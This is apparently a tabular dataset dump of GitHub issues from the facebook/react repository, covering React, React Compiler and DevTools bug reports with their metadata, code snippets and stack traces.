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values | state_reason stringclasses 7
values | author stringlengths 0 39 | created_at timestamp[us]date 2000-06-06 02:40:44 2026-03-31 04:38:09 | updated_at timestamp[us]date 2010-06-29 02:24:09 2026-03-31 05:50:10 | closed_at timestamp[us]date 2000-06-07 02:36:03 2026-03-31 05:32:47 ⌀ | labels unknown | assignees unknown | milestone_title stringclasses 809
values | milestone_number int32 0 432 | reactions unknown | comment_count int32 0 2.47k | locked bool 2
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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
facebook | react | 35,489 | I_kwDOAJy2Ks7iv1QO | false | Bug: 浏览器自动翻译为中文会导致页面崩溃 | 页面切换为英文，正常不崩溃，但是切换到中文，随意切换多个页面，会导致页面崩溃 | closed | not_planned | ghost | 2026-01-12T12:49:59 | 2026-02-04T01:44:37 | 2026-02-04T01:44:37 | [
"Status: Unconfirmed"
] | null | 0 | {} | 0 | false | 2026-03-29T04:53:11.747220 | ||
facebook | react | 35,545 | I_kwDOAJy2Ks7kAoz3 | false | [Compiler Bug]: | ### What kind of issue is this?
- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)
### Link to repro
bbxbdx
### Repro steps
swwerwe
### How often does this bug happen?
Every time
### What version of React are you using?
rtah
### What version of React Compiler are you using?
trh | closed | not_planned | gamehub1234 | 2026-01-17T15:10:48 | 2026-02-04T01:45:24 | 2026-02-04T01:45:24 | [
"Type: Bug",
"Status: Unconfirmed"
] | null | 0 | {} | 1 | true | spam | 2026-03-29T04:53:11.773946 | |
facebook | react | 24,564 | I_kwDOAJy2Ks5JvE93 | false | Bug: useEffect is called before custom font is loaded | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version: 17.0.2
## Steps To Reproduce
1. Open this project and run
[my-app.zip](https://github.com/facebook/react/files/8699963/my-app.zip)
```
npm install
npm run start
```
3. Go to localhost:3000
4. Open DevTools console.
5. Click "Calculate width" button.
6. In the console you will see:
<img width="221" alt="Screenshot 2022-05-16 at 14 19 29" src="https://user-images.githubusercontent.com/17653648/168591023-3cd63605-19ad-4418-b5b4-47b02e2e47b8.png">
If you want to reproduce again this bug you need to force refresh the page (with clearing cache)
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example:
[my-app.zip](https://github.com/facebook/react/files/8699963/my-app.zip)
## The current behavior
`useEffect` is executed before the custom font is loaded. This causes incorrect layout calculations.
You can see in the repro, that `useEffect` calculates the width of the rectangle before the correct font is loaded. That's why the result is different than in `onClick` event listener.
## The expected behavior
`useEffect` should be called after custom font is loaded.
The result of calculating rectangle width in the repro should be the same both in `useEffect` and `onClick` event listener. | closed | completed | Mikilll94 | 2022-05-16T12:24:01 | 2026-02-05T15:28:58 | 2022-05-23T17:51:12 | [
"Status: Unconfirmed"
] | null | 0 | {} | 5 | false | 2026-03-29T04:53:11.874958 | ||
facebook | react | 35,698 | I_kwDOAJy2Ks7oht5g | false | Bug: Erro: Falha ao executar 'insertBefore' em 'Node': O nó antes do qual o novo nó deve ser inserido não é filho deste nó. | já desinstalei e instalei o chrome e toda hora da esse erro. não tem nenhuma extensão instalada, o tradutor esta desabilitado. tentei no firefox, edge e toda hora da o mesmo erro. não consigo fazer nada no meu produto.
Pode me ajudar?
Desculpe! Uma extensão do navegador pode ter causado um erro.
Sabe-se que ferramentas de tradução do navegador (como o Tradutor integrado do Chrome) ou algumas extensões de navegador de terceiros causam erros ao usar o Painel de Controle do Supabase.
Recomendamos fortemente desativar o Chrome Translate ou certas extensões do navegador ao usar o Painel de Controle da Supabase para evitar esse erro. Tente atualizar a página para ver se o problema persiste.
Erro: Falha ao executar 'insertBefore' em 'Node': O nó antes do qual o novo nó deve ser inserido não é filho deste nó. | open | powercerebro | 2026-02-05T11:44:41 | 2026-02-05T17:26:09 | null | [
"Status: Unconfirmed"
] | null | 0 | {} | 1 | false | 2026-03-29T04:53:11.961049 | |||
facebook | react | 35,604 | I_kwDOAJy2Ks7lI_OP | false | [Compiler Bug]: Optional chaining not working with async try/catch function inside useEffect | ### What kind of issue is this?
- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)
### Link to repro
https://playground.react.dev/#N4Igzg9grgTgxgUxALhAHQHacwgHgBwhgBcACAEwQDMBDKAGzKqgzmIEsINSAVGgIwAUASlLBs3UlDAIAolSoI2gkaQC8APjETSu0jTABPVqWasOXUwmJwAFgBEaxGqvGS9pYjEPb3H0nBcYGTkTjTqpADaALoA3Jj+eoEYwRRhAEwRoc4A-AB0VESyNHaC7MQIALbqWsmQ9Ah59BAA5sLxfroAvgFOdqSCCDAwRKJuibp1EA15QyMwggDkssNEVja27BgtpI7OyIsANKRzox2JXQl6l1i3Hoobey7tV13HMS+3VzDWsNyCV10AB4NIDSECAPSgu6kT43ECHEDJKjsFooEDsSqEEieQz4BBiUgABXoUBaWwA8vgLClSD0qCNqot+AIEPQALT4UnkjDsn4lYjswJY9gNGAQ8jsYKLDqYQTjUgQiHC-CipycDAAWQglGQpDQIBo9HoBswPTA6rAKIQYGJ3Mp1I1YHaCPAtggAHcAJIYCowDBGsAoWj0GRdIA
### Repro steps
Using the next code reproduce the issue:
```ts
export default function Tab() {
useEffect(() => {
async function fetchData() {
try {
const data = [];
const data2 = data?.forEach(item => console.log);
} catch (error) {
console.error('Error fetching Data:', error);
}
}
fetchData();
}, []);
return (
<>
</>
);
}
```
### How often does this bug happen?
Every time
### What version of React are you using?
Latest version
### What version of React Compiler are you using?
Latest version | closed | completed | a0m0rajab | 2026-01-22T19:06:42 | 2026-02-04T03:26:09 | 2026-02-04T03:26:09 | [
"Type: Bug",
"Status: Unconfirmed"
] | null | 0 | {} | 3 | false | 2026-03-29T04:53:11.999550 | ||
facebook | react | 33,489 | I_kwDOAJy2Ks66ppnE | false | Bug: infinite re-renders when queueing state updates via promises during render | React version: 18.3.1
## Steps To Reproduce
1. [Created a sandbox to illustrate the issue](https://codesandbox.io/p/sandbox/react-18-playground-forked-w2jds3?file=%2Fsrc%2FApp.tsx).
2. Open and it "trigger".
3. Check the console. 100 renders are scheduled after hitting trigger, despite `setState` sets the same value.
## The current behavior
* You will see more than 100 re-renders until we stop it, otherwise it would indefinitely run.
* This does not happen on React 17, React 18 with legacy root and React 19 (at least in the sandbox, could be due to auto-optimization of the component via the compiler). Happens in all React 18 versions.
## The expected behavior
* Calling `setState` with the same value already set, even in an asynchronous promise, should not re-trigger the render of the component, even if the operation of updating the state asynchronously within a component is not officially supported. | open | mjesun | 2025-06-09T21:00:34 | 2026-02-05T20:10:25 | null | [
"Status: Unconfirmed"
] | null | 0 | {
"+1": 9,
"eyes": 1
} | 4 | false | 2026-03-29T04:53:12.039421 | |||
facebook | react | 33,610 | I_kwDOAJy2Ks68sqUB | false | [Compiler Bug]: | ### What kind of issue is this?
- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)
### Link to repro
https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAwtJjgBQCURwAOsUXIWDkTAmkQLxFRgEAJS6UADNQDcjIs1bsA2iyw4Aur36CAyjgCGOBJRq8AfBy4A6OLE4UpM8zljEAPABM8ANxPBlFAL4uAPQe3oz+IP5AA
### Repro steps
1. Try pasting the following code in React compiler Playground
```
function Count() {
const ref = useRef(0);
const [count] = useState(() => ref.current);
return <div>{count}</div>
}
```
2. This should throw an error, as it violates the **Rules of react** , specifically where it says "Components and Hooks must be pure"
https://react.dev/reference/rules#components-and-hooks-must-be-pure
**Ref docs clearly says this is an anti pattern**
### How often does this bug happen?
Every time
### What version of React are you using?
19
### What version of React Compiler are you using?
19.1.0 | closed | completed | Biki-das | 2025-06-22T09:59:15 | 2026-02-04T03:29:05 | 2026-02-04T03:29:05 | [
"Type: Bug",
"Status: Unconfirmed",
"Component: React Compiler"
] | null | 0 | {} | 2 | false | 2026-03-29T04:53:12.088560 | ||
facebook | react | 35,554 | I_kwDOAJy2Ks7kH2uB | false | [Compiler Bug]: allow `'use no memo'` inside callbacks | ### What kind of issue is this?
- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)
### Link to repro
https://playground.react.dev/#N4Igzg9grgTgxgUxALhAcimBACOAbASwQDsAXNAbgB1iaCBbABwhlO2GwEE8FWBhAvB4BJOBGIAabABkIAQwAmvAEzYAvtgBmMCPWxo8UOASUBaGAjlxy1Yg2at22TAgBK0UrykuAypfgAFgAKcjBy9GDqWjp6aMQIAB6kAPTEcgBuBADmcqQE4pR0TCxsHD6YjCRY3lg+pLk4Gtq6+hZWNkUOpdgA4hAQWTx8EHgsouJRzbEAAslixfFkYMkEYsTLWf2DCIV2xY4cwsQA1ggIjOPEkzH6s-PMi6TLq+LPJ2eMu-YlTty8pFI-qwACIIMBwGAERh5CZNG5oO66B4kJ7JKAEZJyHisL77boAISgpFIsOiLQRcyR4hRy3RyQARkSScRcV0nHxQgopByYAphmQUdzOaDwZDoflJNgeQoABKWJQwIW8gAqBFIPGu5MRCxpaIxcE5rJ+h2IjCJmpmlJ1Sz1K1NRKNBxkcnpCDwFtuVuRNrpeBdbsd3RcnCJAT4hBRHopa08SWWclDpnwRDIgacLiCEDApBlAyjiIFceSzGzAQGaY4LlcUDIDAQ-M02XzlMLqJgNby9AQSfEjayFewWQQpB8ck0bmHsGIAFUYHgpAQwAA1LEmVyTmAzufNwj0tF5PDxxMWBSCBDWXY0TQ16wSmQDAjEABiLHoAAoAJTsGjYXCvNg6ESvDYAAvM4WDuEBMCfrYv5rNm2BYKEcDBKE4SRGBvj+ChIRhBEME-n+6xsI+mT1DCxDCAooGIdhqF4WAAB0Q6kG+aCkWquQSmgH6wURCEWKQU6zu6YFIYEuHocxw5sYJwlzjxfHwWwCakGGEZkDRwahuGKasbxhHKU4QTTvi0jCHwAD6nDTsqMoAAyWcCADyACynDCAAclIJlmRZlk9M5zk9NIACill8OZoWecqlnCMCUSYRBHZ1g22QEVc-FsCWal5klCCZtmuZZBlhHJMkvTDtgak4Okq4KA01FyZu2DTq40haCw2A5aYoxZI+2Anme1jYG+LjUZoXUIPQcgEO6fWPh+hn-oOw7rqeFjWCJNGfsgiGkJCxBZKBAB836Zb+BCaKNHHkRKVFfsAhG-r+zVXAABpicCINCpi3Vx4jJAAJMA-0UVRajvXxv5qM9g0blcLGjuO65CZuIlvm9IlSGgySKYRai2GVFUvjA2DOSGalSAA7jg8QINRNVaFAeDum1HUkvDG3nmw9JWMc1UQNVAQ4NOwjE+TlMBNg9CYGwBqs3zcAC5zn3vaNZZdt1chDl+1MBKs0sBHIxAKDwkRM6p0v3DwFESwA6jgjByGAkRY3OdpkQDVwu9gACOUC8AAntrDGdWTPVW1zw2kMtxGraQT4s3gHKK-z7M7V+IFnU9F3YFdo2kEHlQQNd1OPgoEDU6BIFgRgpsII28QKDx8No1cuO7C9WXYHzWAZ2B5em1XjGjAaFGMSw2SPkTefldghJzdRCt4ErAsZ+XanYHIjCMDoe8EA0-uBzAIfOwxcNGef6E0fE1fs34yH0ehGXdwXb5g-dCiPXDv7XxEjEsCsXYsQL2FE0ALlAZxcG39oZRDdFgfO11MYI22gAMjQfnZc9VUbyTwCg9uIkPw-zzn-NCACgGyVQQpKQ7s8AGTzrDWgecjIB2DnUQ6x0wL-yYiSDhj4SoMO7m9Y+7CDoCOwAAfmwO9EGfcEDszUMkSRIM2Gn34UdSG2A9qyOAPIxRyQoYE1nnBFaABtRcshFACKkEA4QYArGniOgAXS0rUciCA3yaCxFgBhEs+Ai2VuHSWoZkg+B8M5bAvAdAwEiANDOPDRoIGYoxKQUxuo6EyAqaOm0nhLUykZWAeBQowBiTRcSOFyFMRYmxaJLB8YFJWkUkpMSRQQihBRcpdFJIAJqWgOpMBLJKFFB07iQie6PjVIfYppSuqYTnC0rq0jdHNNmTANpYpOkAB8tnOAWWsyGjELCMD9IgN8yRLLJCyDjfQX49rEGTiYnuZiBm2OHIsmArj8p1CPgAHn2pw7AuyHms2wGdD+dg8hYg+X4xp8czGTRgPQYEuQ5BvMTq+FF9QvngQQD8zwb5c7d2mrNPAe00AQLhs7V21MWAKHJZSzKahYWmPjsbU2PByj0noGqGiLsg7EDgEkva652iMVJvQUK6QURZxznDDAiDiBCy7PQCAaA4bJL3ggaVZBQTeJZvpOBdiHHyCcSVA6gdxm-iAR8t8IL6FPN-AdEORLu49wsGAA1fLqazRUjpDSpBAHZEosQRiJK5qEt-i9cNZLw7ItRWGmac0JBRrITSule1EXxvqIxalYBaW8hTaQ9QLK3XzwCeeAWBcwDBr+lcbxc0GZRvfh6g1kiw1rJIW6l6Nq1koM9XgQNAzGJdldjrHAOz9A+GDfnetpKGYNO7da4c9jHECK8T4hAVq3VvTgTDGgzbkGtsHe2hq9R20uBgF2pdhSsBkzAsewNZ65CMUvXul6OUyxZHbSYFEV0g5jTvYxEwUhXVLqiUm2Nl7E2kqLeB38aQux7Wg4hhAcGl3MvfUwqN891ox0FsLHAj5PAN2osMvIaQ7bFsAp4GAubMABDfCxPDuSMbELgRoceKEkmlOvd3XtMS3zRNndmE2iBS7YA+VIqJpSR1gjAOO7R+gpZ-vHneBtPAW7buXaQVdpr13eMPFujjxiD1woQuys2CBQpJF4GkPA06sghr5WAAVQq3xwy7Llel+hIDGCxGgIFvnICMrfkoWsjZeB7WzJw9Dv5DOr35h86L4ijqEVledfjK6TXWKOm+C1xm4YCZYHa5OpanWn0y26oyj7QKpplsOMs1Fa51z89M9Vxbu7SLkD63lVtdIoiDU5o4gCID+fwWB+De8IBZKi-ncLeRItk19mgTYAweChfg3BLEiXlbsz2ixJOrNU67eOOzT8cWMP5K23tHrvrt7+r0kNkNgDICRs6266bs2YBUT2r+iLRBFT1e7ivNe+2E5HZTjtsH7ULvA5LY6l689hBlxwJsNgIsLDYE3mWc0Q1ck2MQroRrEjaaaWpjoNLxaW1gjbR2mJfG3XFego++nLA5NjqHEC3ZCW14wvfTpvTuWSqGd8VhuGnHcjcaE7xqrIOVoDNcvJxTIF6vCcfKJwVCAJMfPh9I6JHOFNDnh3tIuJdrrCZa-oCA9IABWPNAsYJk2TAAhLXbA9r4e-mkTL5bkQTZBw-IbxTk7ffb398QQPbOyaTt50ltZXulNx+Vh8xHOnbWK+V7rd9xq115dF4VxhpnmGvQRqNOGvzTzpFwH6V2nlwgIFVyATQPAEhaFbz2d0PLiCmACKYUUZwrhqmmmAJMKJgK27lv+sfAoI4JFMAAFm6kHUwABGZQVAQAnSjb86UNeXZgHr12Jv1NTDXlBTNefp-6DUTAMbSup+lXxF7nS3gpgn84HpFkUwB0TZgHPpGP-lYN2CvgAMyb7b4faV4EDV74AH5H6N6b6MDz4ABsEB8OvyRwpw5wlwiEBAAAXo3sAAvgABwaDJCQHga-LJBV6UFLq76chyiKC8B0FUHSiqjqg4BwF14N5N6xikCmDKAJDuiTRkCmBdinhQB6C-7KwCI-7ZABBsD8Fn4sAIBZCASmzoEfbdyOx4DzAIAYHJDsFqg8CsH0HSgbKjLiAnRBA8Auw4A1pOazoEZBzQDLbfTQCaScwxiPiByMTUEWFgjtLijWH1YBGMHygsFhHSj8gkbyy16H68Gb5AGICmAr4ACsWhW2wAAy2ATuHm2hL0vyQIbAdUkIJspATe5G7Yt40qm+++PBx+m+9Ir+MApg1RRgeQ0qyQq+9k2ADUMAxwyALRvIb+IxCoWRW2RRJRAgQgCAuB3BiRTRIAfeS+p+C+9RFBiev4xR2IpAlhIRxAJ0ORBy1BJRBxFEZhVByQJRVxbqH42GhRvyWa2A4gXKPKlRwAlmnKUA3KaonGCRCBTeKRIBi+kxW20BsBgJSR4AzsqRK+G+W+2x2Avy0g-o7oih9AeApMTeMaEBoUkG1BaJroeAdxVBRwZoschR3aJguJkGm+yJTqxciBIAeJIAjJ3UpyCAZYeACoTerhUA0wiQ4QJyyS8wDJ1JbqdUhgRBWaWKL6MaTCUxbq4gASJsQ4IEwAQmGWQCEq8phK2AjERpcpqKUgMae0yS9QMALEjE0pgcJaSpypL0FgAcZ4CgHJp4Cm9Immmpli+mmiyJWxkp1BtBZmypkJDRSxLJIJaRgh4JUxqJ6J2AmJ2JLATeeaBa7pW+IQ6avIRJ6JZJ9BFJRIHJtJSBB+mZEpTpL0ZuLJGZdKVZ1ZnJwBPJfJm+gARASdldmdmNnVl2mymYoJr1m8iOnVmqnsoalalbqnS0QYpIr6kcBGmMQmn1BSDDk+aWmhA2n9kOkckunogngemLgug+mgw5ZmqjlOnd7SAkBZBqSalkGBmFndwhkwGQGJ6-KEjEgTC1nAm-EfH1GLFAmb6n7n54D1GeknkMy+nnkCJqDPlupnl57HQ+4cm-IIVUGOIqCRnAUgD0BtGqCrHY6L7bx7AND96MCPibEYVLqOZ2BHSzpLloVBnVl3Ll6SndxoB0WzodasWXnXFfnMgIXUFZrvmFFam+TmRWQ2R2SOQuTuReTc7YCSX+SBTBRhQRRRQxRxTAhfj5Efk0U7FV44UwkWB+hdEGFIkcVFHGVAUwkuiQCGCeAibDimB9Et6JD5yeARAz60bxnVm-JAFXB2XLGgXJwv6jFtGxwgDYAsVNmvnpCGU2UwEmXLFmVcTSrt6eWT7ZjT6ICz7YD+VOmBXOzBXQnLFf6mBrzqGeHUTIGCHVSJACGyyeAKAqEWA1U1gTTiDNXiBCzKEJCRBQC7y8AGhYBFXVnOQwAck7HJBBVJWzWhnWUJViUBW2XlXRlwmgngFWVNnsAqXSW2QORORuQeSeR5GYIFF7U7GCXiAzUvRlGHxkBN7qFyAr4eCEDxC9nXWqmEDKyamfgznfHWa2abhYh0VHBsSuxqo4xWz2QQL6BYEfB4FOEDQaYLoPH3W-iQXenQVIX+lZD8VNkhUslhWszfXVkLVuqYHvA4FrCxVU3dyxG+E4A47YBI3nD3XUG3VHEcmY3WW-jAAHUBRBQhThSRTCDRSxTxQXXsXXUok81Y3YCPUVEvVhDvVEifWWVK2-WrDHAA2ypK2-jA02a0b2YQ3EBQ1jbtY4xrbbAI1oB9DrYOEzpo3zpaZK1E3Vk42nl+nC5e1Okk0n5n7JwU1OmM1FFO3bDDCjA-b01xXy3M0PKs1qjSxR08Bc3JA81U380BU0FvkfkJ1Lq530FGGcixEoh3HhG8hmErXpa2CPGJBshKD6qDrMyCqdKyD9TEAhBDiA2uoiJXVFHlD-5VAGHFrJ763AARlB2b4eVt7d69794QiD5eUj6+UT5T6aAr75V+Vb7IVLkrWXlV1d2PgSoM0V5hIVBj10EMJMIgASAgBrB9goAgDfCOC1nGSGDd3OSHGRBwjkh8wkmmAnJQDd3mCWDWA9hMCNowD53ZiXiW2urlT3BzTeyuQQBKB7Sb47YSkaAKZ5BgCRaRC2FgOPi-0URgC8QP3gBljUxHBm0+IoAF5qBAA
### Repro steps
There is no sense to throw an error about unsupported features inside callbacks
```jsx
./agents-manage-ui/src/app/login/page.tsx
Error evaluating Node.js code
ReactCompilerError: Found 1 error:
Todo: Support value blocks (conditional, logical, optional chaining, etc) within a try/catch statement
78 |
79 | // Check if sign-in failed
> 80 | if (result?.error) {
| ^^^^^^ Support value blocks (conditional, logical, optional chaining, etc) within a try/catch statement
81 | setError(result.error.message || 'Sign in failed');
82 | setIsLoading(false);
83 | return;
```
### Issue
React Compiler throws hard errors for unsupported features (e.g. optional chaining) inside `try/catch` **within callbacks**, even though the code is valid and runs correctly. This forces large mechanical refactors (100+ cases in our codebase) purely to satisfy compiler limitations.
---
### Proposal
Allow opting out of compiler checks for callbacks via a directive:
```ts
const handleExternalSignIn = async (...) => {
'use no memo'; // skip React Compiler checks for this callback
```
---
### Why
Callbacks aren’t render-critical, so hard compiler errors for valid JS inside them hurt DX without real benefit.
### How often does this bug happen?
Every time
### What version of React are you using?
latest
### What version of React Compiler are you using?
latest | closed | completed | dimaMachina | 2026-01-18T20:08:04 | 2026-02-04T04:14:41 | 2026-02-04T03:27:14 | [
"Type: Bug",
"Status: Unconfirmed"
] | null | 0 | {} | 2 | false | 2026-03-29T04:53:12.145355 | ||
facebook | react | 33,764 | I_kwDOAJy2Ks7AHibp | false | [Compiler Bug]: | ### What kind of issue is this?
- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)
### Link to repro
problem with build in jenkins unable to provide link
### Repro steps
After building the react application with vite.js, I get this error when I access the application's home page:
react.production.min.js:20 Uncaught TypeError: Cannot set properties of undefined (setting 'Children') at requireReact_production_min (react.production.min.js:20:1) at requireReact (index.js:4:20) at requireUseSyncExternalStoreWithSelector_production (use-sync-external-st…production.js:12:13) at requireWithSelector (with-selector.js:4:20) at with-selector.js:7:1.
When I open the application in development, the error is not present in production mode, it is present. Have you ever encountered this problem? Thanks in advance.
### How often does this bug happen?
Only once
### What version of React are you using?
19.1.0
### What version of React Compiler are you using?
19.1.0 | closed | completed | BorzovRuslanR | 2025-07-11T14:54:52 | 2026-02-06T14:50:03 | 2026-02-06T14:50:03 | [
"Type: Bug",
"Status: Unconfirmed",
"Component: React Compiler"
] | null | 0 | {} | 5 | false | 2026-03-29T04:53:12.186538 | ||
facebook | react | 26,758 | I_kwDOAJy2Ks5k3tBz | false | [DevTools Bug] Commit tree already contains fiber "3289". This is a bug in React DevTools. | ### Website or app
no-url.com
### Repro steps
Trying to navigate between the graphs.
### How often does this bug happen?
Often
### DevTools package (automated)
react-devtools-extensions
### DevTools version (automated)
4.27.6-7f8c501f6
### Error message (automated)
Commit tree already contains fiber "3289". This is a bug in React DevTools.
### Error call stack (automated)
```text
at updateTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:27498:19)
at getCommitTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:27430:20)
at ProfilingCache_ProfilingCache.getCommitTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:27959:11)
at CommitFlamegraphAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:46157:33)
at Bf (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:13715:7)
at dh (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:14781:7)
at uk (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:18235:86)
at qk (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:17769:11)
at pk (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:17658:23)
at Ze (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:17638:5)
```
### Error component stack (automated)
```text
at CommitFlamegraphAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:46140:34)
at div
at div
at div
at SettingsModalContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:38425:3)
at Profiler_Profiler (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:56259:34)
at ErrorBoundary_ErrorBoundary (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:39958:5)
at div
at div
at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:40130:3)
at PortaledContent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:40160:5)
at div
at div
at div
at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:40130:3)
at TimelineContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:45411:3)
at ProfilerContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:44839:3)
at TreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:32649:3)
at SettingsContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:33298:3)
at ModalDialogContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:40555:3)
at DevTools_DevTools (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:56766:3)
```
### GitHub query string (automated)
```text
https://api.github.com/search/issues?q=Commit tree already contains fiber . This is a bug in React DevTools. in:title is:issue is:open is:public label:"Component: Developer Tools" repo:facebook/react
```
| closed | duplicate | pankajsoni91 | 2023-05-02T12:21:37 | 2026-02-07T22:08:02 | 2026-02-07T22:07:49 | [
"Type: Bug",
"Status: Unconfirmed",
"Component: Developer Tools"
] | [
"hoxyq"
] | 0 | {
"+1": 5
} | 15 | false | 2026-03-29T04:53:12.223102 | ||
facebook | react | 24,655 | I_kwDOAJy2Ks5K8KH4 | false | [DevTools Bug] Commit tree already contains fiber "15". This is a bug in React DevTools. | ### Website or app
https://github.com/msanmaz/prisma-exp or development link https://crud-prisma.vercel.app/
### Repro steps
https://github.com/msanmaz/prisma-exp or development link https://crud-prisma.vercel.app/
-git clone above repo
- npm run dev locally
- go to http://localhost:3000/signup
- create dummy account with email and pass
- login to the account
- start profiler
### How often does this bug happen?
Every time
### DevTools package (automated)
react-devtools-extensions
### DevTools version (automated)
4.24.6.0-2c8a1452b
### Error message (automated)
Commit tree already contains fiber "15". This is a bug in React DevTools.
### Error call stack (automated)
```text
at updateTree (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:25307:19)
at getCommitTree (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:25240:20)
at ProfilingCache_ProfilingCache.getCommitTree (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:25768:11)
at CommitRankedAutoSizer (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:44121:33)
at ii (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:15307:7)
at yj (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:16179:7)
at wl (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:19178:86)
at vl (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:18728:11)
at ul (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:18720:23)
at jl (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:18704:5)
```
### Error component stack (automated)
```text
at CommitRankedAutoSizer (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:44104:34)
at div
at div
at div
at SettingsModalContextController (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:36191:3)
at Profiler_Profiler (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:53818:34)
at ErrorBoundary_ErrorBoundary (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:37712:5)
at div
at div
at ThemeProvider (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:37884:3)
at PortaledContent (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:37914:5)
at div
at div
at div
at ThemeProvider (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:37884:3)
at TimelineContextController (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:43126:3)
at ProfilerContextController (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:42571:3)
at TreeContextController (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:30468:3)
at SettingsContextController (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:31094:3)
at ModalDialogContextController (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:38309:3)
at DevTools_DevTools (chrome-extension://dnjnjgbfilfphmojnmhliehogmojhclc/build/main.js:54320:3)
```
### GitHub query string (automated)
```text
https://api.github.com/search/issues?q=Commit tree already contains fiber . This is a bug in React DevTools. in:title is:issue is:open is:public label:"Component: Developer Tools" repo:facebook/react
```
| closed | duplicate | msanmaz | 2022-06-01T23:32:17 | 2026-02-07T22:09:01 | 2026-02-07T22:09:01 | [
"Type: Bug",
"Status: Unconfirmed",
"Component: Developer Tools"
] | null | 0 | {
"+1": 1
} | 9 | false | 2026-03-29T04:53:12.261055 | ||
facebook | react | 34,761 | I_kwDOAJy2Ks7QHbyG | false | [Compiler Bug]: React Compiler does not compile a component if it contains a reference to Object.entries within a try block within an async function | ### What kind of issue is this?
- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)
### Link to repro
